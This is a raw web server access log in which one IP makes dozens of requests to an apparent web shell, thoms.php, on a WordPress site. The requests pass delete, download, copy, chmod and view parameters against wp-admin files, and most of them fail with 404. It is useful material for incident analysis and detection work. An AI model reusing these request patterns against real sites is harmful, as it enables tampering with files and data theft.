45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /broadweb.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?chmod=options-media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?del=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?dl=ms-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?dl=options-head.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?chmod=post-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /broadweb.com.tw/wp-admin/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=options-privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?del=load-scripts.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=ms-admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=tools.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=custom-background.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?dl=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=edit-tags.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-discussion.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-discussion.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-health.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-health.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?dl=credits.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugins.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugins.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:35 -0400] "GET /thoms.php?chmod=themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?dl=admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustom-background.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustom-background.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /broadweb.com.tw/wp-admin/install.php HTTP/1.1" 200 600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?del=maint&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=maint&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustom-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustom-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?chmod=moderation.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?del=ms-admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?dl=post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?dl=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?del=import.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=import.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /broadweb.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprivacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprivacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?chmod=theme-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /broadweb.com.tw/wp-admin/css/ HTTP/1.1" 200 3655 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /broadweb.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?chmod=credits.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?del=customize.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?dl=admin-post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?chmod=contribute.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?del=options-media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fwidgets-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /broadweb.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:37 -0400] "GET /thoms.php?del=export.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?del=user-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?chmod=error_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fimport.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fimport.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?chmod=menu-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugin-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugin-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?dl=theme-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?dl=upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
